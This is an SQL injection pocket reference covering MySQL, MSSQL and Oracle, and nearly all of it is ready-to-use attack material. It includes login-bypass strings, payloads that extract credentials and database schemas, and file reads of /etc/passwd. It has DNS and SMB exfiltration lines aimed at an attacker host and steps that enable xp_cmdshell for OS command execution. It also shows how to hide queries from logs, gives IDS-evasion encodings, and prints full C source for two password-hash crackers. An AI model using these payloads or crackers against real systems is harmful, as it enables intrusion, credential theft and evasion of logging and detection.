SQL Injection Pocket Reference

Credits

I would like to thank .mario, Reiners and everyone else who has helped me in making this document what it is today. You can reach me at twitter.com/LightOS with any suggestions you may have and remember this is still a work in progress, so be sure to check in frequently for updates.

MySQL

Default Databases

- `mysql` (Privileged)
- `information_schema` (Version >= 5)

Comment Out Query

- `#`
- `/*`
- `-- -`
- `;%00`
- `` ` ``

Example:

- `' OR 1=1 -- -' ORDER BY id;`
- `' UNION SELECT 1, 2, 3` `

Note:
The backtick can only be used to end a query when used as an alias.

Testing Injection

- False
    - The query is invalid (MySQL errors/missing content on website)
- True
    - The query is valid (content is displayed as usual)

Strings

- `'` – False
- `''` – True
- `"` – False
- `""` – True
- `\` – False
- `\\` – True

Numeric

- `AND 0` - False
- `AND 1` - True
- `2-1` - 1
- `3-2` - 1

In a login

- `' OR '1`
- `' OR 1 -- -`
- `" OR "" = "`
- `" OR 1 = 1 -- -`
- `'='`
- `'LIKE'`
- `'=0--+`

Example:

- `SELECT * FROM Users WHERE username = '`*`Mike`*`' AND password = ''=''`
- `SELECT * FROM Users WHERE username = '`*`Mike`*`' AND password = '' OR '' = ''`

Note:

- *You can use as many apostrophes/quotations as you want as long as they pair up*
- *`SELECT * FROM Articles WHERE id = '121''''''''''''''`*
- *It's also possible to continue the statement after the chain of quotes: `SELECT '1''''''"" UNION SELECT '2' # 1 and 2`*
- *Quotes escape quotes: `SELECT '1''' # 1'`*

Testing Version

- `VERSION();`

- `@@VERSION;`
- `@@GLOBAL.VERSION`

Example: `' AND MID(VERSION(),1,1) = '5` *- True if MySQL version is 5*

Note:

- *You can use comments in between the name and the parenthesis and inside the parenthesis*
- *Example:* `VERSION/**/(/**/)`
- *Output will contain* `-nt-log` *in case the DBMS runs on a Windows based machine*

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Example:

- `UNION SELECT /*!50000 5,null;%00*//*!40000 4,null--,*//*!30000 3,null-- x*/0,null--+`
- `SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/*/);`

Database Credentials

- Table: `mysql.user` (Privileged)
- Columns: `user, password`
- Current User: `user(), current_user(), system_user(), session_user()`

Example:

- `SELECT current_user;`

- `UNION SELECT CONCAT(user, 0x3A, password) FROM mysql.user WHERE user = 'root'`

Database Names

- Tables: `information_schema.schemata, mysql.db`
- Columns: `schema_name, db`
- Current DB: `database(), schema()`

Example:

- `UNION SELECT schema_name FROM information_schema.schemata`
- `SELECT DISTINCT(db) FROM mysql.db` (Privileged)

Tables & Columns

Finding out number of columns

Order By

- `ORDER BY 1`
- `ORDER BY 2`
- `ORDER BY ...`

Note:
Keep incrementing the number until you get a False response.

Example:

- `1' ORDER BY 1-- -` True
- `1' ORDER BY 2-- -` True
- `1' ORDER BY 3-- -` True
- `1' ORDER BY 4-- -` False (Query is only using 3 columns)
- `-1' UNION SELECT 1,2,3-- -`

Error Based

- `AND (SELECT * FROM SOME_EXISTING_TABLE) = 1`
- `Operand should contain 3 column(s)`

Note:

- *This works if you know the table name you're after and error showing is enabled*
- *It will return the amount of columns in the table, not the query.*

Retrieving Tables

- Union:
  - `UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;`
- Blind:
  - `AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'`
- Error:
  - `AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))`
  - `(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);`
  - `AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));--` *Available in 5.1.5*

Note:

- *version=9 for MySQL 4*
- *version=10 for MySQL 5*

Retrieving Columns

- Union:
  - `UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'`
- Blind:
  - `AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns  > 'A'`
- Error:
  - `AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))`
  - `(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);`
  - `AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM  information_schema.columns LIMIT 1)));--` *Available in MySQL 5.1.5*
  - `AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)--` *Fixed in MySQL 5.1*
- Procedure Analyse():
  - Refer to `PROCEDURE ANALYSE()` below.

Note:
The `GROUP_CONCAT()` function allows grouping of the tables/columns, instead of viewing them one at a time.

Note:

- *Output is limited to 1024 chars by default.*
- *All default database table names: ~900 chars*
- *All default database column names: ~6000 chars*

PROCEDURE ANALYSE()

- `1 PROCEDURE ANALYSE()` *#get first column name*
- `1 LIMIT 1,1 PROCEDURE ANALYSE()` *#get second column name*
- `1 LIMIT 2,1 PROCEDURE ANALYSE()` *#get third column name*

Note:
It is necessary that the webapp will display the first selected column of the SQL query you are injecting to.

Retrieving Multiple Tables/Columns at once

- `UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns`

Find Tables from Column Name

- `SELECT table_name FROM information_schema.columns WHERE column_name = 'username';` *- Finds the table names for any columns named username.*
- `SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';` *- Finds the table names for any columns that contain the word user.*

Find Column From Table Name

- `SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';`
- `SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';`

Avoiding the use of single/double quotations

- UNION SELECT CONCAT(*username*,0x3a,*password*) FROM *Users* WHERE *username* = 0x61646D696E
- UNION SELECT CONCAT(*username*,0x3a,*password*) FROM *Users* WHERE *username* = CHAR(97, 100, 109, 105, 110)

String concatenation

- SELECT CONCAT('a','a','a')
- SELECT 'a' 'd' 'mi' 'n'
- SELECT/*/'a'/*/ 'd'/*/ 'mi'/*/ 'n' (phpMyAdmin)

Privileges

FILE privilege

MySQL 4/5

- ' UNION SELECT file_priv FROM mysql.user WHERE user = '*username*
- ' AND MID((SELECT file_priv FROM mysql.user WHERE user = '*username*'),1,1) = 'Y

MySQL 5

- ' UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%*username*%
- ' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%*username*%'),1,1)='Y

Out Of Band Channeling

Timing

- `BENCHMARK()`
- `SLEEP()  (MySQL 5)`
- `IF(), (CASE()WHEN)`

Example:

- `' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('test')), false)) - '`

DNS (requires FILE privilege)

- `SELECT LOAD_FILE(concat('\\\\`*foo.*`',(select MID(version(),1,1)),'.`*attacker.com*`\\'));`

SMB (requires FILE privilege)

- `' OR 1=1 INTO OUTFILE '\\\\`*attacker*`\\`*SMBshare*`\\`*output.txt*

Reading Files (requires FILE privilege)

- `LOAD_FILE()`
    - `UNION SELECT LOAD_FILE('`*`/etc/passwd`*`')-- -`
    - `UNION SELECT LOAD_FILE(`*`0x2F6574632F706173737764`*`)-- -`

Note:

- *File must be located on the server host*
- *The basedirectory for load_file() is the* `@@datadir`
- *The file must be readable by the MySQL user*
- *The file size must be less than max_allowed_packet*

- *`UNION SELECT @@max_allowed_packet` (default value is 1047552 Byte)*

Writing Files (requires FILE privilege)

- `INTO OUTFILE/DUMPFILE`
    - `UNION SELECT 'code' INTO OUTFILE '/tmp/file`

Note:

- *You can't overwrite files with INTO OUTFILE*
- *INTO OUTFILE must be the last statement in the query*
- *There is no way to encode the pathname, so quotes are required*

Stacked Queries with PDO

Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.

Example:

- `AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');`

User Defined Functions

UDF -R S 10/6/10 10:56 AM

Fuzzing and Obfuscation

Allowed Intermediary Characters

- `09`
- `0A`
- `0B`

- 0C
- 0D
- A0

Example: '%0A%09UNION%0CSELECT%10NULL%23

- 28
- 29

Example: UNION(SELECT(column)FROM(table))

Note:
Encoding your injection can sometimes be useful for IDS evasion.

- *%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31*
- *SELECT %74able_%6eame FROM information_schema.tables;*
- *SELECT %2574able_%256eame FROM information_schema.tables;*
- *SELECT %u0074able_%u6eame FROM information_schema.tables;*

Futhermore, by using # or -- followed by a newline, we can split the query into separate lines, sometimes tricking the IDS.

```
1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
```

URL Encoded: 1'%23%0AAND 0--%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

Allowed Intermediary Characters after AND/OR

- 2B
- 2D
- 7E

Example: `SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))`

```
$prefixes = array(" ", "+", "-", "~", "!", "@", " ");
```

- 09
- 0A
- 0B
- 0D
- 0C
- 20
- A0

Example: `SELECT 1 FROM information_schema%20%0C%20.%20%09tables;`

Operators

```
$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&",
"|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND",
"OR", "XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP",
"IS", "NOT");
```

Constants

- current_user
- null, \N
- true, false

MySQL Functions()

MySQL Password Hashing

(Taken from Mysql.com)

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:

```
+----------------------------+
| PASSWORD('mypass')         |
+----------------------------+
| 6f8c114b58f2ce9e           |
+----------------------------+
```

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:

```
+-------------------------------------------------------------------------+
| PASSWORD('mypass')                                                      |
+-------------------------------------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4                               |
+-------------------------------------------------------------------------+
```

MySQL Password() Cracker

Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords.

MySQL < 4.1 Password Cracker

<copypaste>
This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

```
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
```

```
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
  while (i < stop) {
    i++;
    pass_ary[i] = MIN_CHAR;
    step_ary[i] = (state1_ary[i] & 0x3f) + sum;
    xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
    sum += MIN_CHAR;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  state1 = state1_ary[i+1];
  state2 = state2_ary[i+1];
  step = (state1 & 0x3f) + sum;
  xor1 = step*MIN_CHAR + (state1 << 8);
  xor2 = (state2 << 8) ^ state1;

  for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
    newstate2 = state2 + (xor1 ^ xor2);
    newstate1 = state1 ^ xor1;

    newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
    div = (newstate1 & 0x3f) + sum + c;
    diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
    if (diff % div != 0) continue;
    d = diff / div;
    if (d < MIN_CHAR || d > MAX_CHAR) continue;

    div = (newstate3 & 0x3f) + sum + c + d;
```

```
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
```

```
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
```

</copypaste>

MSSQL

Default Databases

- `pubs`
- `model`
- `msdb`
- `tempdb`
- `northwind`
- `information_schema` (>= 2000)

Comment Out Query

- `/*`
- `--`
- `%00`

Testing Version

- `@@VERSION`
- `VERSION()`

Database Credentials

- Database.Table:
  - `master..syslogins, master..sysprocesses`
- Columns:
  - `name, loginameCurrent User: user, system_user, suser_sname(), is_srvrolemember('sysadmin')`
- Database Credentials:
  - `SELECT user, password FROM master.dbo.sysxlogins`

Example:

- `SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;` *-- Returns current user*
- `SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);` *-- Is Admin?*

Database Server Hostname

- `@@servername`
- `SERVERPROPERTY()`

Example:

```
SELECT SERVERPROPERTY('productversion'),
SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition') --
```

Only available >= SQL Server 2005

Database Names

- Table: `master..sysdatabases`
- Column: `name`
- Function: `DB_NAME(i)`

Example:

- `SELECT name FROM master..sysdatabases;`
- `SELECT DB_NAME(5);`

We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns.

Tables & Columns

Retrieving Tables

- Union:
    - `UNION SELECT name FROM master..sysobjects WHERE xtype='U' --`
- Blind:
    - `AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables  > 'A'`
- Error Based:
    - `AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)`
    - `AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))`

Note:
Xtype = 'U' is for User-defined tables. You can use 'V' for views.

Retrieving Columns

- Union:
    - `UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = '`*`tablename`*`')`
- Blind:
    - `AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns  > 'A'`
- Error Based:
    - `AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)`

    - `AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))`

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it, it will then dump the table content and finish by deleting the table.

- Create Temp Table/Column and Insert Data:
    - `AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;`
- Dump Content:
    - `AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);`
- Delete Table:
    - `AND 1=0; DROP TABLE TMP_DB;`

Note:
You can encode your query in hex to "obfuscate" your attack.
`' and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--sp_password`

OPENROWSET Attacks

```
SELECT * FROM OPENROWSET('SQLOLEDB',
'127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute
master..xp_cmdshell "dir"')
```

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

```
EXEC master.dbo.xp_cmdshell 'cmd'
```

Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries:

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure
```

Alternatively, you can create your own procedure to achieve the same results

```
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null,
'%systemroot%\system32\cmd.exe /c'
```

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command.

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
```

Example:

- `' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a`

```
varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE
id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY
(id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int,
config_value int, run_value int) INSERT %23xp_cmdshell EXEC
master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM
%23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE
%23Data (dir varchar(8000)) INSERT %23Data EXEC
master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B'<br></font><font
color="black">'%2Bdir,'<dir>','</font><font
color="orange">') FROM %23Data WHERE dir>@a DROP TABLE
%23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP
TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not
found' SELECT @a AS tbl INTO TMP_DB--
```

- `' UNION SELECT tbl FROM TMP_DB--`
- `' DROP TABLE TMP_DB--`

This example checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB.

SP_PASSWORD (Hiding Query)

Appending `sp_password` to the end of the query will hide it from T-SQL logs as a security measure.

Example: `' and 1=1--sp_password`

```
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security
reasons.
```

Stacked Queries

- `' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2')`

Fuzzing and Obfuscation

Encodings

- Hex
  - *' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--sp_password*
- URL Encoded
  - *%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%64%75%61%6c*
- Double URL Encoded
  - *%2553%2545%254c%2545%2543%2554%2520%2531%2520%2546%2552%254f%254*
- Unicode
  - *%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0031%u0020%u0046%u00*
- HTML Entities (Needs to be verified)
  - *AND 1=1 (&# has to be URL Encoded)*
  - *%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%*

Allowed Intermediary Characters

- 01-1F
- 25

Example:

- S%E%L%E%C%T%01*column*%02FROM%03*table*%00
- A%%ND 1=%%%%%%%%1

Note:

The percentage signs in between keywords is only possible on ASP

- 28
- 29

Example: UNION(SELECT(*column*)FROM(*table*))

- 5B
- 5D
- 22

Example: SELECT"table_name"FROM[information_schema].[tables]

Allowed Intermediary Characters after AND/OR

- 01-1F
- 2B
- 2D
- 2E
- 5C
- 7E

Example: SELECT 1FROM[*table*]WHERE\1=\1AND\1=\1

Note:
The backslash doesn't seem to work with MSSQL 2000

MSSQL Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version.

Example:

```
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE9 ...
1C0784B911D76BF4EB124550ACABDFD1457
```

MSSQL Password Cracker

```
////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
             int err = 0;
```

```
        if(argc !=3)
                  {
                            printf("\n\n*** SQLCrack *** \n\n");
                            printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                            printf("David Litchfield (david@ngssoftware.com)\n");
                            printf("24th June 2002\n");
                            return 0;
                  }
        err = OpenPasswordFile(argv[2]);
        if(err !=0)
         {
           return printf("\nThere was an error opening the password file %s\n",argv[2]);
         }
        err = CrackPassword(argv[1]);
        fclose(fd);
        printf("\n\n%d",wd);
        return 0;
}
int OpenPasswordFile(char *pwdfile)
{
        fd = fopen(pwdfile,"r");
        if(fd)
                  return 0;
        else
                  return 1;
}
int CrackPassword(char *hash)
{
        char phash[100]="";
        char pheader[8]="";
        char pkey[12]="";
        char pnorm[44]="";
        char pucase[44]="";
        char pucfirst[8]="";
        char wttf[44]="";
        char uwttf[100]="";
```

```
        char *wp=NULL;
        char *ptr=NULL;
        int cnt = 0;
        int count = 0;
        unsigned int key=0;
        unsigned int t=0;
        unsigned int address = 0;
        unsigned char cmp=0;
        unsigned char x=0;
        HCRYPTPROV hProv=0;
        HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
          {
                  return printf("\nThe password hash is too short!\n");
          }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
          {
                  hash = hash + 2;
                  strncpy(pheader,hash,4);
                  printf("\nHeader\t\t: %s",pheader);
                  if(strlen(pheader)!=4)
                            return printf("%s",lerr);
                  hash = hash + 4;
                  strncpy(pkey,hash,8);
                  printf("\nRand key\t: %s",pkey);
                  if(strlen(pkey)!=8)
                            return printf("%s",lerr);
                  hash = hash + 8;
                  strncpy(pnorm,hash,40);
                  printf("\nNormal\t\t: %s",pnorm);
                  if(strlen(pnorm)!=40)
                            return printf("%s",lerr);
                  hash = hash + 40;
```

```
                strncpy(pucase,hash,40);
                printf("\nUpper Case\t: %s",pucase);
                if(strlen(pucase)!=40)
                        return printf("%s",lerr);
                strncpy(pucfirst,pucase,2);
                sscanf(pucfirst,"%x",&cmp);
        }
else
        {
                return printf("The password hash has an invalid format!\n");
        }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                ,0))
  {
        if(GetLastError()==NTE_BAD_KEYSET)
                {
                        // KeySet does not exist. So create a new keyset
                        if(!CryptAcquireContext(&hProv,
                                                NULL,
                                                NULL,
                                                PROV_RSA_FULL,
                                                CRYPT_NEWKEYSET ))
                           {
                                printf("FAILLLLLLL!!!");
                                return FALSE;
                           }
         }
}
while(1)
       {
         // get a word to try from the file
         ZeroMemory(wttf,44);
         if(!fgets(wttf,40,fd))
            return printf("\nEnd of password file. Didn't find the password.\n");
         wd++;
         len = strlen(wttf);
```

```
  wttf[len-1]=0x00;
  ZeroMemory(uwttf,84);
  // Convert the word to UNICODE
  while(count < len)
            {
                      uwttf[cnt]=wttf[count];
                      cnt++;
                      uwttf[cnt]=0x00;
                      count++;
                      cnt++;
            }
  len --;
  wp = &uwttf;
  sscanf(pkey,"%x",&key);
  cnt = cnt - 2;
  // Append the random stuff to the end of
  // the uppercase unicode password
  t = key >> 24;
  x = (unsigned char) t;
  uwttf[cnt]=x;
  cnt++;
  t = key << 8;
  t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
```

```
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
         {
                   printf("Error %x during CryptCreatHash!\n", GetLastError());
                   return 0;
         }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
         {
                   printf("Error %x during CryptHashData!\n", GetLastError());
                   return FALSE;
         }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
         {
                   // If first byte matches try the rest
                   ptr = pucase;
                   cnt = 1;
                   while(cnt < 20)
                   {
                             ptr = ptr + 2;
                             strncpy(pucfirst,ptr,2);
                             sscanf(pucfirst,"%x",&cmp);
                             if(szhash[cnt]==cmp)
                                       cnt ++;
                             else
                             {
                                       break;
                             }
                   }
                   if(cnt == 20)
                   {
                        // We've found the password
                        printf("\nA MATCH!!! Password is %s\n",wttf);
                        return 0;
                     }
```

```
            }
            count = 0;
            cnt=0;
          }
  return 0;
}
```

ORACLE

Default Databases

- SYSTEM
- SYSAUX

Comment Out Query

- `--`

Testing Version

- `SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'`
- `SELECT banner FROM v$version WHERE banner LIKE 'TNS%'`
- `SELECT version FROM v$instance`

Database Credentials

- `SELECT username FROM all_users`
- `SELECT name, password from sys.user$` (Privileged, <= 10g)
- `SELECT name, spare4 from sys.user$` (Privileged, <= 11g)

Database Names

Current Database

- `SELECT name FROM v$database;`
- `SELECT instance_name FROM v$instance`
- `SELECT global_name FROM global_name`
- `SELECT SYS.DATABASE_NAME FROM DUAL`

User Databases

- `SELECT DISTINCT owner FROM all_tables;`

Tables & Columns

Retrieving Tables

- `SELECT table_name FROM all_tables`

Retrieving Columns

- `SELECT column_name FROM all_tab_columns`

Finding Tables from Column Name

- `SELECT column_name FROM all_tab_columns WHERE table_name = '`*`Users`*`'`

Finding Column From Table Name

- `SELECT table_name FROM all_tab_tables WHERE column_name = '`*`password`*`'`

Fuzzing and Obfuscation

Avoiding the use of single/double quotations

Unlike other RDBMS, Oracle allows us to reference table/column names encoded.

- `SELECT chr(32)||chr(92)||chr(93) FROM dual`
- `SELECT 0x09120911091`

Out Of Band Channeling

Time Delay

- `SELECT UTL_INADDR.get_host_address('`*`non-existant-domain.com`*`') FROM dual`

Heavy Query Time delays

- `AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1))`